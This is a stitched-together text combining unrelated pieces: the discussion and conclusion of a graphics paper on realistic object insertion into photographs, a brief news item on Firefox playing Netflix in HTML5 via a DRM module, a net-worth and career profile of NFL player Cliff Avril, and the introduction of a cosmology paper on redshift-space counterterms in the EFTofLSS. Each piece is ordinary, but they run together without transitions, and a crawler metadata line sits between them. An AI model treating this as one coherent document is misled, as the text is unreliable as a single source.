\boldhead{Discussion}
From our study, we conclude that both our method and the light probe method are highly realistic, but that users can tell a real image apart from a synthetic image with probability higher than chance. However, even though users had no time restrictions, they still could not differentiate real images from both our method and the light probe method reliably. As expected, both of these synthetic methods outperform the baseline, but the baseline still did surprisingly well. Applying different variants to the pairs of images hindered subjects' ability to determine the real photograph, but this difference was not statistically significant.
When choosing between our method and the light probe method, subjects chose our method with equal or greater probability than the light probe method for each scene in the study. This trend was probably the result of our light probe method implementation, which used rough geometry and reflectance estimates produced by our algorithm, and was not performed by a visual effects or image-based lighting expert. {\it Had such an expert generated the renderings for the light probe method, the results for this method might have improved, and so led to a change in user preference for comparisons involving the light probe method. The important conclusion is that we can now achieve realistic insertions without access to the scene.}
Surprisingly, subjects tended to do a worse job identifying the real picture as the study progressed. We think that this may have been caused by people using a particular cue to guide their selection initially, but during the study decide that this cue is unreliable or incorrect, when in fact their initial intuition was accurate. If this is the case, it further demonstrates how realistic the synthetic scenes look as well as the inability of humans to pinpoint realistic cues.
\begin{figure}
\includegraphics[width=.95\columnwidth]{./figures/study/us_v_deb.pdf} \vspace{-3mm} \\
\line(1,0){243} \vspace{1mm} \\
\vspace{-16mm}
\centerline{
\includegraphics[width=0.24\columnwidth]{./figures/study/us_v_deb_imgs/us8.pdf}
\includegraphics[width=0.24\columnwidth]{./figures/study/us_v_deb_imgs/deb8.pdf}
\includegraphics[width=0.24\columnwidth]{./figures/study/us_v_deb_imgs/us9.pdf}
\includegraphics[width=0.24\columnwidth]{./figures/study/us_v_deb_imgs/deb9.pdf}
}\\ \vspace{13mm}
\centerline{ \color{white} \small \hspace{7mm} Ours \hspace{12mm} Light probe \hspace{12mm} Ours \hspace{12mm} Light probe \hfill}
\\
\centerline{ \hfill Scene 8 \hspace{30mm} Scene 9 \hfill }
\vspace{-2mm}
\caption{When asked to pick which method appeared more realistic, subjects chose our method over the light probe method at least 50\% of the time for each scene (67\% on average), indicating a statistically significant number of users preferred our method. The blue bars represent the mean response (30 responses per bar, 300 total), and the green lines represent the 95\% confidence interval. The horizontal red line indicates the 50\% line. The images below the graph show two scenes from the study that in total contain all objects. Scene 8 was one of the lowest scoring scenes (53\%), while scene 9 was one of the highest scoring (77\%).
}
\label{fig:study_us_v_deb}
\end{figure}
\begin{figure}[htp!]
\includegraphics[width=.95\columnwidth]{./figures/study/alldata.pdf}
\begin{center}
{\bf Percentage of times users chose synthetic over real}
\begin{tabular}{|c||c c c| c|} \hline
$N=30$ & ours & light probe & baseline & total \\ \hline
none & 20 & 30 & 13.3 & 21.1 \\
monochrome & 36.7 & 23.3 & 16.7 & 26.6 \\
clutter & 30 & 36.7 & 16.7 & 27.8 \\
cropped & 43.3 & 23.3 & 20 & 28.9\\
spotlight & 40 & 23.3 & N/A & 31.7 \\ \hline
total & 34 & 27.3 & 16.7 & 26.7 \\ \hline
\end{tabular}
\end{center}
\vspace{1mm}
\begin{center}
\begin{tabular}{|c||c c c| c|} \hline
& ours & light probe & baseline & total \\ \hline
\hspace{1mm} 2+ objects \hspace{1mm} & 28.2 & 24.6 & 19.3 & 24.4 \\
glass & 37.9 & 22.8 & 25 & 28.7 \\ \hline
\end{tabular}
\end{center}
\caption{Results for the three methods compared to a real image. In the graph, the mean response for each method is indicated by a triangle (ours), circle (light probe), and square (baseline). The vertical bars represent the 95\% binomial confidence interval. The tables indicate the average population response for each category. We also considered the effects of inserting multiple synthetic objects and synthetic objects made of glass, and these results were consistent with other variants. Both our method and the light probe method performed similarly, indicated especially by the overlapping confidence intervals, and both methods clearly outperform the baseline. Variants do appear to have a slight affect on human perception (making it harder to differentiate real from synthetic).
}
\label{fig:study_alldata}
\end{figure}
\begin{figure}[htp]
\begin{center}
\includegraphics[width=0.49\columnwidth]{./figures/results/routerroom/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/routerroom/composite.pdf}
\end{center}
\caption{Home redecorating is a natural application for our method. A user could take a picture of a room, and visualize new furniture or decorations without leaving home.
}
\label{fig:interiordecor}
\end{figure}
Many subjects commented that the task was more difficult than they thought it would be. Self assessment scores reflected these comments as self evaluations decreased for 25 of 30 subjects (i.e. a subject rated him/herself higher in the entry assessment than in the exit assessment), and in the other five subjects, the assessment remained the same. The average entry assessment was 3.9, compared to the average exit assessment of 2.8. No subject rated him/herself higher in the exit assessment than in the entry assessment.
The fact that na\"{\i}ve subjects scored comaparably to non-na\"{\i}ve subjects indicates that this test is difficult even for those familiar with computer graphics and synthetic renderings. All of these results indicate that people are not good at differentiating real from synthetic photographs, and that our method is state of the art.
\section{Results and discussion}
We show additional results produced with our system in Figs~\ref{fig:interiordecor}-~\ref{fig:results3}. Lighting effects are generally compelling (even for inserted emitters, Fig~\ref{fig:mirror}), and light interplay occurs automatically (Fig~\ref{fig:interreflections}), although result quality is dependent on inserted models/materials. We conclude from our study that when shown to people, results produced by our method are confused with real images quite often, and compare favorably with other state-of-the-art methods.
Our interface is intuitive and easy to learn. Users unfamiliar with our system or other photo editing programs can begin inserting objects within minutes. Figure~\ref{fig:noviceresult} shows a result created by a novice user in under 10 minutes.
We have found that many scenes can be parameterized by our geometric representation. Even images without an apparent box structure (e.g. outdoor scenes) work well (see Figs~\ref{fig:results1} and~\ref{fig:results2}).
Quantitative measures of error are reassuring; our method beats natural baselines (Fig~\ref{fig:errorvis}). Our intrinsic decomposition method incorporates a small amount of interaction and achieves significant improvement over Retinex in a physical comparison (Fig~\ref{fig:intrinsiccomp}), and the datasets we collected (Sec~\ref{sec:Evaluation}) should aid future research in lightness and material estimation. However, it is still unclear which metrics should be used to evaluate these results, and qualitative evaluation is the most important for applications such as ours.
\subsection{Limitations and future work}
For extreme camera viewpoints (closeups, etc), our system may fail due to a lack of scene information. In these cases, luminaires may not exist in the image, and may be difficult to estimate (manually or automatically). Also, camera pose and geometry estimation might be difficult, as there may not be enough information available to determine vanishing points and scene borders.
\begin{figure}[htp]
\includegraphics[width=0.49\columnwidth]{./figures/results/snow1/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/snow1/composite.pdf} \vspace{0.5mm} \\
\includegraphics[width=0.49\columnwidth]{./figures/results/pillowroom/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/pillowroom/composite.pdf}
\caption{Our algorithm can handle complex shadows \emph{(top)}, as well as out-of-view light sources \emph{(bottom)}.
\vspace{-2mm}
}
\label{fig:results1}
\end{figure}
Intrinsic image extraction may fail, either because the problem is still very difficult for diffuse scenes or because surfaces are not diffuse. For example, specular surfaces modeled as purely diffuse may cause missed reflections. Other single material estimation schemes could be used \cite{Boivin:2001:IRD:383259.383270,Debevecprobe}, but for specular surfaces and complex BRDFs, these methods will also likely require manual edits. It would be interesting to more accurately estimate complex surface materials automatically. Robust interactive techniques might also be a suitable alternative (i.e. \cite{Carroll:sg11}).
\begin{figure}[htp]
\includegraphics[width=0.49\columnwidth]{./figures/results/fruitroom/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/fruitroom/composite.pdf} \vspace{0.5mm} \\
\includegraphics[width=0.49\columnwidth]{./figures/results/snowtrees/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/snowtrees/composite.pdf}
\caption{Specular materials naturally reflect the scene \emph{(top)}, and translucent objects reflect the background realistically \emph{(bottom)}.
}
\label{fig:results2}
\end{figure}
Insertion of synthetic objects into legacy videos is an attractive extension to our work, and could be aided, for example, by using multiple frames to automatically infer geometry~\cite{pmvs}, surface properties~\cite{yu99inverse}, or even light positions. Tone mapping rendered images can involve significant user interaction, and methods to help automate this process the would prove useful for applications such as ours. Incorporating our technique within redecorating aids (e.g. \cite{Merrell:sg11,Yu:sg11}) could also provide a more realistic sense of interaction and visualization (as demonstrated by Fig~\ref{fig:interiordecor}).
\section{Conclusion}
We have demonstrated a system that allows a user to insert objects into legacy images. Our method only needs a few quick annotations, allowing novice users to create professional quality results, and does not require access to the scene or any other tools used previously to achieve this task.
The results achieved by our method appear realistic, and people tend to favor our synthetic renderings over other insertion methods.
\begin{figure}[htp]
\begin{center}
\includegraphics[width=0.49\columnwidth]{./figures/results/redroom/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/redroom/composite.pdf}
\end{center}
\vspace{0.5mm}
\begin{center}
\includegraphics[width=0.49\columnwidth]{./figures/results/poolroom/orig.pdf}
\includegraphics[width=0.49\columnwidth]{./figures/results/poolroom/composite.pdf}
\end{center}
\caption{Complex occluding geometry can be specified quickly via segmentation \emph{(top, couch)}, and glossy surfaces in the image reflect inserted objects \emph{(bottom, reflections under objects).}
}
\label{fig:results3}
\end{figure}
\bibliographystyle{acmsiggraph}
| {
"redpajama_set_name": "RedPajamaArXiv"
} | 5,050 |
Good news for Firefox users that hated needing to use Microsoft's almost-dead Silverlight plugin: full HTML5 support just came to Netflix.
The change comes following the addition of Firefox's controversial HTML5 DRM module earlier this year, which added the ability to play protected content within the open format.
The Adobe Content Decryption Module, which was added to Firefox in May, allows the browser to decrypt DRM content. The browser joins Internet Explorer, Edge, Safari and Chrome users, who are all now able to watch video without any plugins.
Firefox for Windows users can watch Netflix in HTML5 right now and it's coming to OS X in 2016. | {
"redpajama_set_name": "RedPajamaC4"
} | 4,065 |
Cliff Avril Net Worth
How much is Cliff Avril Worth?
in Richest Athletes › NFL Players
Cliff Avril Net Worth:
Cliff Avril's Salary
Cliff Avril net worth and salary: Cliff Avril is an American football player who has a net worth of $10 Million. Cliff Avril currently plays defensive end for the Seattle Seahawks. Avril was born on April 8, 1986 in Jacksonville Florida, and attended Clay High School in Green Cove Springs. Avril was named second-team All-State during his senior season. After graduating, Avril attended Purdue University. Throughout his collegiate career, he started 12 games at linebacker and 23 at defensive end. Cliff Avril was drafted by the Detroit Lions with the 92nd pick (third round) of the 2008 NFL Draft. In 2008 he recorded 23 tackles and five sacks, and was named to the Sporting News All-Rookie team. In 2009, he finished with 41 tackles and 5.5 sacks. Avril continued improving in 2010, with 33 tackles and 8.5 sacks. In 2011, he appeared in all 16 games for the first time in his NFL career, finishing with 36 tackles, 11 sacks, six forced fumbles and three fumble recoveries, including one returned for a touchdown. He also returned an interception for a touchdown during the 2011 season. In March 2012, the Lions placed the franchise tag on Avril, keeping him in Detroit for one more season. He finished with 35 tackles, 9.5 sacks and two forced fumbles. In March 2013, Avril signed a two-year contract with the Seattle Seahawks. In his first season for Seattle, he appeared in 15 games, posting 20 tackles, eight sacks and five forced fumbles.
Benson Mayowa Net Worth
J. R. Sweezy Net Worth
Ezekiel Ansah Net Worth
Cliff Avril
Net Worth: $10 Million
Salary: $7 Million
Date of Birth: Apr 8, 1986 (34 years old)
Profession: American football player
Cliff Avril Earnings
Detroit Lions (2009-10)
Brandon Mebane Net Worth
Julian Peterson Net Worth
Red Bryant Net Worth
DeMarcus Lawrence Net Worth
Heath Farwell Net Worth
Jeremy Mincey Net Worth | {
"redpajama_set_name": "RedPajamaCommonCrawl"
} | 6,888 |
O atletismo nos Jogos Pan-Americanos de 2011 foi realizado em Guadalajara, México, entre 23 e 30 de outubro. Vinte e quatro eventos masculinos e vinte e três femininos foram disputados, seguindo o mesmo programa dos Jogos Olímpicos de Londres em 2012. Todas as provas realizaram-se no Estádio Telmex de Atletismo, com exceção da maratona e da marcha atlética que foram disputadas no Circuito de Rua de Guadalajara.
Calendário
Medalhistas
Masculino
Feminino
Quadro de medalhas
Notas
Doping
Em 9 de novembro de 2011, o venezuelano Víctor Castillo, que havia conquistado a medalha de ouro no salto em distância masculino, foi desclassificado por doping. Castillo testou positivo para a substância proibida metilhexanamina.
2011
Atletismo
Pan-Americanos | {
"redpajama_set_name": "RedPajamaWikipedia"
} | 7,459 |
\section{Introduction and Summary\label{sec:intro}}
\paragraph{Introduction}
The analysis of the Full Shape (FS) of the BOSS galaxy power spectrum with the one-loop prediction from the Effective Field Theory of Large-scale Structure (EFTofLSS) has obtained a measurement of all parameters in $\Lambda$CDM with just a Big Bang Nucleosynthesis~(BBN) prior~\cite{DAmico:2019fhj,Ivanov:2019pdj,Colas:2019ret} (see also~\cite{Philcox:2020xbv} for other prior choices and~\cite{DAmico:2019fhj} for a joint analysis with the BOSS bispectrum using the tree-level prediction).
The FS analysis has been combined with BOSS reconstructed measurements and baryon acoustic oscillations (BAO) from eBOSS, as well as with supernovae redshift-distance or cosmic microwave background~(CMB) measurements, and this has further allowed us to put limits on the effective number of relativistic species, to bound the total neutrino mass and curvature, to constraint clustering and smooth dark energy~\cite{DAmico:2019fhj,Colas:2019ret,Ivanov:2019hqk,Philcox:2020vvt,DAmico:2020kxu,Chudaykin:2020ghx,DAmico:2020tty}.
In particular, the FS analysis can help constrain models designed to ameliorate the Hubble tension as it provides measurements independent on the CMB or local distance ladders~\cite{DAmico:2020ods,Ivanov:2020ril,Niedermann:2020qbw,Smith:2020rxx,DAmico:2020tty}. Latest among these,~\cite{DAmico:2020tty} shows that the only known consistent model that can predict $w<-1$, which is clustering quintessence~\cite{Creminelli:2006xe}, does not ameliorate the Hubble tension and indeed $w$ is strongly constrained to be close to -1 even in this model~\footnote{We emphasize that even if clustering quintessence is a consistent quantum field theory, its discovery would represent a revolution of our understanding of quantum gravity, as in this context it is highly unexpected that one can have a consistent cosmological solution with $w<-1$.}.
We believe it is fair to say that these results were made possible by the development of the EFTofLSS, which is revealing itself to be a powerful instrument to extract cosmological information from Large-Scale Structure observations.
A several-year long effort was necessary to bring this theory to the level where it can be applied to the data, and these efforts were conducted notwithstanding widespread skepticism on the actual usefulness of the EFTofLSS. We therefore find it justified to add the following footnote where we acknowledge some of these developments, though not all intermediate results are used in the present analysis~\footnote{The initial formulation of the EFTofLSS was performed in Eulerian space in~\cite{Baumann:2010tm,Carrasco:2012cv}, and subsequently extended to Lagrangian space in~\cite{Porto:2013qua}.
The dark matter power spectrum has been computed at one-, two- and three-loop orders in~\cite{Carrasco:2012cv, Carrasco:2013sva, Carrasco:2013mua, Carroll:2013oxa, Senatore:2014via, Baldauf:2015zga, Foreman:2015lca, Baldauf:2015aha, Cataneo:2016suz, Lewandowski:2017kes,Konstandin:2019bay}.
Accompanying theoretical developments were a careful understanding of renormalization~\cite{Carrasco:2012cv,Pajer:2013jj,Abolhasani:2015mra} (including rather-subtle aspects such as lattice-running~\cite{Carrasco:2012cv} and a better understanding of the velocity field~\cite{Carrasco:2013sva,Mercolli:2013bsa}), several ways for extracting the value of the counterterms from simulations~\cite{Carrasco:2012cv,McQuinn:2015tva}, and the non-locality in time~\cite{Carrasco:2013sva, Carroll:2013oxa,Senatore:2014eva}.
These theoretical explorations also include enlightening studies in 1+1 dimensions~\cite{McQuinn:2015tva,Pajer:2017ulp}.
In order to reproduce the Baryon Acoustic Oscillation (BAO) peak, an IR-resummation of the long displacement fields had to be performed, originating the so-called IR-Resummed EFTofLSS~\cite{Senatore:2014vja,Baldauf:2015xfa,Senatore:2017pbn,Lewandowski:2018ywf,Blas:2016sfa}.
An account of baryonic effects was presented in~\cite{Lewandowski:2014rca,Braganca:2020nhv}. The dark-matter bispectrum has been computed at one-loop in~\cite{Angulo:2014tfa, Baldauf:2014qfa}, the one-loop trispectrum in~\cite{Bertolini:2016bmt}, and the displacement field in~\cite{Baldauf:2015tla}.
The lensing power spectrum has been computed at two loops in~\cite{Foreman:2015uva}.
Biased tracers, such as halos and galaxies, have been studied in the context of the EFTofLSS in~\cite{ Senatore:2014eva, Mirbabayi:2014zca, Angulo:2015eqa, Fujita:2016dne, Perko:2016puo, Nadler:2017qto} (see also~\cite{McDonald:2009dh}), the halo and matter power spectra and bispectra (including all cross correlations) in~\cite{Senatore:2014eva, Angulo:2015eqa}. Redshift space distortions have been developed in~\cite{Senatore:2014vja, Lewandowski:2015ziq,Perko:2016puo}.
Neutrinos have been included in the EFTofLSS in~\cite{Senatore:2017hyk,deBelsunce:2018xtd}, clustering dark energy in~\cite{Lewandowski:2016yce,Lewandowski:2017kes,Cusin:2017wjg,Bose:2018orj}, and primordial non-Gaussianities in~\cite{Angulo:2015eqa, Assassi:2015jqa, Assassi:2015fma, Bertolini:2015fya, Lewandowski:2015ziq, Bertolini:2016hxg}.
The exact-time dependence in the loop has been clarified in~\cite{Donath:2020abv,Fujita:2020xtd}.
Faster evaluation schemes for the calculation of some of the loop integrals have been developed in~\cite{Simonovic:2017mhp}.
Comparison with high-fidelity $N$-body simulations to show that the EFTofLSS can accurately recover the cosmological parameters have been performed in~\cite{DAmico:2019fhj,Colas:2019ret,Nishimichi:2020tvu}.}.
\paragraph{Summary}
In the analysis of~\cite{DAmico:2019fhj,Ivanov:2019pdj,Colas:2019ret}, and confirmed by all the subsequent analysis, it was found that the size of the counterterms originating from redshift space distortions was particularly large, limiting the amount of data that could actually be used for a cosmological analysis by lowering the so-called $k$-reach of the theory, which is the maximum wavenumber up to which data can be {reliably} analyzed. In this paper, we first argue that the behavior of the redshift space counterterms can be understood by introducing a new momentum scale that controls the size of these terms, that we call ${k_{\rm NL,\,R}}$, and which is lower than the one of the dark matter non-linearities, that is called ${k_{\rm NL}}$. This is the way the so-called Fingers of God make their appearance in the EFTofLSS. This understanding allows us to recognize that the most-enhanced terms have a specific $\mu$-dependence, with $\mu$ being the {cosine of the} angle between the observed wavenumber and the line of sight. Since in the EFTofLSS the $k$-reach is limited by the largest terms that appear at the perturbative order beyond the ones one uses, the specific $\mu$-dependence of the largest next-order terms allows us to define a linear combination of the data where these contributions are projected out, or at least up to a negligible amount. We call this linear combination $\slashed{P}\equiv P^{(D,\slashed{\mu^4},\slashed{\mu^6})}$, because it projects out the terms whose $\mu$-dependence is $\mu^4$ and $\mu^6$, and, up to a negligible amount, those whose dependence is $\mu^8$ and $\mu^{10}$. These are the functional forms associated to the largest next-order counterterms. The same combination accidentally almost projects out the $\mu^2$ components, further reducing the theoretical error of $\slashed{P}$. Since we work with the combination of three multipoles, we organize the two remaining ones in wedges in $\mu$ space, that we call $w_{1,2}$, and determine the $k$-reach of each of those by using the $\mu$-dependence of the leading next-order terms, so that the wedge {integrated over lower values of $\mu$ has an higher $k$-reach than the one {integrated over} higher values. We dub this procedure as `one-loop', and apply it to both simulations and {BOSS} data.
We also identify another procedure, that we dub `one-loop+'. Since we argue that the leading next-order terms from redshift space have a very simple functional form, we add them to the one-loop prediction of the EFTofLSS that is fitted to the data. In this way, the theoretical error associated to the two $\mu$-wedges (that are analyzed on top of $\slashed{P}$) is even smaller, so that it is possible to {reliably} analyze even more data. Similarly to the `one-loop' procedure, we apply `one-loop+' to both simulations and {BOSS} data.
\paragraph{Main Results:}
We perform our analyses on four sets of data: on a large-volume simulation that we call `PT challenge', on two quite-large-volume sets of simulations populated with five HOD models, and that we call `Lettered Challenge', on a rescaled version of the `PT Challenge' simulation that we call `DESI-like', and finally on the BOSS data. The simulations are used to either estimate the theoretical error with great precision, or to estimate the $k$-reach of the EFTofLSS with the new methods in surveys such as DESI.
The increase in the $k$-reach with respect to the multipoles depends on the cosmic variance, on the shot noise, and on the particular linear combination of the data we consider. Let us quote the results for the `one-loop+' procedure. For $\slashed{P}$, {we increase $k_{\rm max}$ on the PT challenge by a factor of 2.5, by 2.3 for DESI-like and by 1.5 for BOSS}. The $k$-reach of the wedge with the smaller values of $\mu$, $w_1$, is increased by a factor of 1.8 for PT challenge, 1.7 for DESI-like, and {negligibly modified} for BOSS. The $k$-reach of $w_2$ is instead decreased with respect to the multipoles, in order to keep the value of the theoretical error constant in all {three data combinations we use}. The `one-loop' procedure has the same $k$-reach for the bin $\slashed{P}$ as the `one-loop+', and a slightly lower, but still significant, {increase} in the $k$-reach of $w_1$.
Similarly, the increase in the precision in the determination of the cosmological parameters depends on the cosmic variance and the shot noise of the data. Quoting results for `one-loop+', for PT challenge we increase the precision by $60\%$ or $70\%$ for parameters such as $\Omega_m$, $A_s$ and $h$, and $105\%$ for $n_s$. The improvements for `one-loop' procedure are smaller by about $10\%$ or $15\%$, depending on the cosmological parameters. Unfortunately, the improvements are not as remarkable for a DESI-like survey, where we obtain an improvement that is about $25\%$ for $\Omega_m$ and $h$, 10\% for $n_s$ and $5\%$ on $A_s$, with similar results for the `one-loop' procedure. Finally, on the BOSS data, we find that by using the `one-loop+' procedure, we improve the determination of $\Omega_m$ by $10\%$, while we have marginal improvements for the other cosmological parameters. Instead, 'one-loop' does not lead to any improvement on BOSS data.
To summarize, we designed an analysis to mitigate the size of the theory error associated to redshift-space distortions in the EFTofLSS.
Compared to the standard fit to multipoles, this new analysis leads to a significantly more accurate and precise determination of the cosmological parameters.
This is made possible as we analyze a much larger number of modes, made accessible thanks to two improvements.
First, the multipoles are rotated into new linear combinations, $\slashed{P}$ and $w_{1,2}$.
$\slashed{P}$ is designed such that the associated theory error is strongly mitigated, allowing for a much higher $k$-reach,
while the $k_{\rm max}$'s in $w_{1,2}$ are pushed as far as possible with a controlled theory error depending on their specific $\mu$-range (`one-loop' procedure).
Second, the leading next-order EFT-counterterms have been identified and can be included in order to further increase the $k$-reach in the $\mu$ direction (`one-loop+' procedure).
}
Given that performing this kind of analysis has practically identical computational cost as the standard multiple-based analysis, we conclude that we believe there is no reason why the {`one-loop'} or the `one-loop+' procedures should not be routinely used in future analyses.
We end this summary of the main results with a note of warning. It should be emphasized that in performing the analysis presented here for the BOSS data, as well as the preceding ones using the EFTofLSS by our group~\cite{DAmico:2019fhj,Colas:2019ret,DAmico:2020kxu,DAmico:2020tty,DAmico:2020ods}, we have assumed that the observational data are not affected by any unknown systematic error, such as, for example, line of sight selection effects or undetected foregrounds. In other words, we have simply analyzed the publicly available data for what they were declared to be: the power spectrum of the galaxy density in redshift space. Given the additional cosmological information that the theoretical modeling of the EFTofLSS allows us to exploit in BOSS data, it might be worthwhile to investigate if potential undetected systematic errors might affect our results. We leave an investigation of these issues to future work.
\paragraph{Public Code} The redshift-space one-loop galaxy power spectra in the EFTofLSS are evaluated using PyBird: Python code for Biased tracers in ReDshift space~\cite{DAmico:2020kxu}~\footnote{\href{https://github.com/pierrexyz/pybird}{https://github.com/pierrexyz/pybird}}.
The linear power spectra are evaluated with the CLASS Boltzmann code~\cite{Blas_2011}~\footnote{\href{http://class-code.net}{http://class-code.net}}.
The posteriors are sampled using the MontePython cosmological parameter inference code~\cite{Brinckmann:2018cvx, Audren:2012wb}~\footnote{\href{https://github.com/brinckmann/montepython\_public}{https://github.com/brinckmann/montepython\_public}}.
The triangle plots are obtained using the GetDist package~\cite{Lewis:2019xzd}.
\section{Theoretical Considerations}
\subsection{Estimates of the scales governing the EFTofLSS expansion}
In the EFTofLSS, the various EFT-parameters that are present in the theory account for the effect of short-distance physics at long distances. In practice, in trying to solve perturbatively the equations that define the various operators over which we take expectation values, we encounter several terms whose evaluation is UV-sensitive, {\it i.e.} their evaluation requires knowledge of short-distance physics. Luckily, we can parametrize our ignorance of short-distance fluctuations by expanding in a series of counterterms that can be evaluated perturbatively. This perturbative expansion can however have various expansion parameters, and some UV contributions can be larger than others. This is what seems to happen in the EFTofLSS, as we are now going to explain.
In the original data analysis that provided a measurement of cosmological parameters from Large-Scale Structure data~\cite{DAmico:2019fhj,Colas:2019ret}, as well as in {the comparison of} the EFTofLSS predictions with simulations, several of these parameters have been measured. At one-loop order, schematically, the prediction of the power spectrum in redshift space contains terms such as
\begin{equation}
P_{g,r}(k,\mu,t)\supset c_{ct}(t) \frac{k^2}{{k_{\rm NL}}^2} P_{11}(k,t)+c_{r}(t) \mu^2\frac{k^2}{{k_{\rm NL}}^2} P_{11}(k,t)\ ,
\end{equation}
where $P_{11}(k)$ is the matter linear power spectrum, {$\mu = \hat{k} \cdot \hat{z}$} is the {cosine of the} angle of the wavenumber $\vec k$ with the line of sight, $\hat z$, and ${k_{\rm NL}}(t)$ is the time-dependent scale of dark-matter non-linearities.
In~\cite{DAmico:2019fhj,Colas:2019ret}, with ${k_{\rm NL}}=0.7h\,{\rm Mpc}^{-1}$, it was measured that $c_{ct}\sim 1$, while $c_r\sim 8$ (see Table 3 of~\cite{DAmico:2019fhj}). Now, the origin of the EFT-parameters that do not depend on $\mu$, such as $c_{ct}$, is quite different than {the one of} those that depend on $\mu$, $c_r$. In fact, the terms that depend on $\mu$ are counterterms of UV-sensitive operators that appear when we {transform} our predictions from configuration space to redshift space~\cite{Senatore:2014vja}. The particular terms under question are expectation values of product of velocities at the same location. For example, the term in $c_r$ arises by writing~\cite{Senatore:2014vja}
\begin{equation}\label{eq:velocity1}
\langle v_i(\vec x,t) v_j(\vec x,t)\rangle=\left(\frac{aH}{{k_{\rm NL}}}\right)^2\left(c_r(t) \delta_{ij}+ \tilde c_r(t) \frac{\partial_i\partial_j}{{k_{\rm NL}}^2}\delta(\vec x,t)+\ldots\right) \ .
\end{equation}
where $\delta$ is the dark matter density and $\ldots$ here and everywhere else in this paper represents a list of all possible terms allowed by the symmetries, written in an expansion in the size of the fluctuations and the size of the derivatives, $\partial/{k_{\rm NL}}$ (for the purpose of this discussion, we here neglect the fact that the counterterms are non-local in time~\cite{Senatore:2014eva}, a fact that is however taken into account in the formulas we use to compare with data).
On the other hand, the term in $c_{ct}$ comes from either expanding the expectation value of the matter effective stress tensor or from the derivative expansion of the galaxy fields in terms of the dark matter fields:
\begin{eqnarray}\label{eq:stess_tensor1}
&&\frac{1}{\rho_0(t)}\langle\tau_{ij}(\vec x,t)\rangle=\left(\frac{a H}{{k_{\rm NL}}^2}\right)\left(c_0 \delta_{ij}+c_{s}^2(t) \delta(\vec x,t)+c_{4}(t) \frac{\partial^2}{{k_{\rm NL}}^2} \delta(\vec x,t)+\ldots\ \right),\\
\label{eq:galaxy_derivative1}
&&\delta_g(\vec x,t)=b_1(t) \delta^{(1)}(\vec x,t)+ c_{ct,2}(t) \frac{\partial^2}{{k_{\rm M}}^2}\delta(\vec x,t)+\dots \ ,
\end{eqnarray}
where $\rho_0\sim H^2M_{\rm Pl}^2$ is the background energy density, ${k_{\rm M}}$ is the {typical wavenumber associated to galaxy size} and $\delta_g$ is the galaxy overdensity. From here we get $c_{ct}\equiv c_s^2+c_{ct,2}$.
In the analysis of~\cite{DAmico:2019fhj,Colas:2019ret}, it was taken that ${k_{\rm NL}}={k_{\rm M}}=\frac{1}{0.7}h\,{\rm Mpc}^{-1}$. Now, the fact that on observations we measure that $c_{r}\gg c_{ct}\sim 1$ suggests that $\langle v_i(\vec x,t) v_j(\vec x,t)\rangle$ is large and defines a new {length} scale which is longer than the non-linear scale. We can therefore improve (\ref{eq:velocity1}) by introducing a new scale {${k_{\rm NL,\,R}}\sim {k_{\rm NL}}/\sqrt{8}$}, and writing
\begin{equation}\label{eq:velocity2}
\langle v_i(\vec x,t) v_j(\vec x,t)\rangle=\left(\frac{aH}{{k_{\rm NL,\,R}}}\right)^2\left(c_r(t) \delta_{ij}+ \tilde c_r(t) \frac{\partial_i\partial_j}{{k_{\rm NL}}^2}\delta(\vec x,t)+\ldots\right) \ .
\end{equation}
In this way, the new $c_r$ is measured to be order one. The fact that $\langle v_i(\vec x,t) v_j(\vec x,t)\rangle$ is large is the manifestation, in the EFTofLSS, of what the Large-Scale Structure community often refers to as the {large size} of the Finger-of-God effects.
Now that we have introduced a new scale, ${k_{\rm NL,\,R}}$, we need to address where else it enters. Where should we replace the factors of ${k_{\rm NL}}$ with ${k_{\rm NL,\,R}}$ in the above equations? Nicely, we can answer this questions without relying on any astrophysical insight, but using the measurements and the assumption that unitless numerical coefficients should be {of} order one.
Let us start with the stress tensor: should we replace ${k_{\rm NL}}$ in the first factor in (\ref{eq:stess_tensor1})? The answer is `no'. In fact, if this were the case, the dark matter velocity counterterm would take the form $c_s^2\partial^2\delta/{k_{\rm NL,\,R}}^2$. But $c_s^2$ has been measured to be {of} order one in many dark matter simulations after normalizing with ${k_{\rm NL}}$. For example, eq.~(20) of~\cite{Foreman:2015lca} gives $c_s^2\simeq 0.3$, which is order one, while replacing ${k_{\rm NL}}$ with ${k_{\rm NL,\,R}}$ would give $c_s^2\to 0.03$, which can hardly be thought of as an order one number. Let us make an additional observation for the stress tensor. If we look at the expression of the stress tensor in terms of UV terms, it reads, schematically~\cite{Baumann:2010tm}, $\tau_{ij}(\vec x)\sim \rho(\vec x) \left(v_i(\vec x)v_{j}(\vec x)+\delta_{ij} \Phi(\vec x)\right)$, with $\Phi$ being the gravitational potential. The presence of $v_iv_j$ might raise the suspicion that perhaps $\langle\tau_{ij}\rangle$ should be similarly enhanced by $1/{k_{\rm NL,\,R}}^2$. However, this is a different operator, and so can have a different value; and in fact, Ref.~\cite{Baumann:2010tm} first pointed out that there is a very strong cancellation between the kinetic and the potential energy in the stress tensor, so that the effective pressure is small. Measurements are so far indicating that a cancellation occurs even at the level of the $c_s^2$ term (which, physically, represents the response of the stress tensor to a deformation induced by a $\delta$ fluctuation).
Let us move to the derivative expansion of the galaxies in~(\ref{eq:galaxy_derivative1}). Since we measured $c_s^2\simeq 1$ in matter simulations, we can say that the observational data of~\cite{DAmico:2019fhj,Colas:2019ret} measured $c_{ct,2}$ to be {of} order one as well. If instead we replaced ${k_{\rm M}}$ with ${k_{\rm NL,\,R}}$ {, $c_{ct,2}$ would be $\sim 0.1$.} Therefore, though ${k_{\rm M}}$ is a different scale than ${k_{\rm NL}}$, we find no evidence that it cannot be assumed to be similar to ${k_{\rm NL}}$. We conclude that the derivative expansion of galaxies ({at least} of the kind observed by BOSS) is controlled by ${k_{\rm NL}}$, which is in agreement with what we would expect on astrophysical grounds.
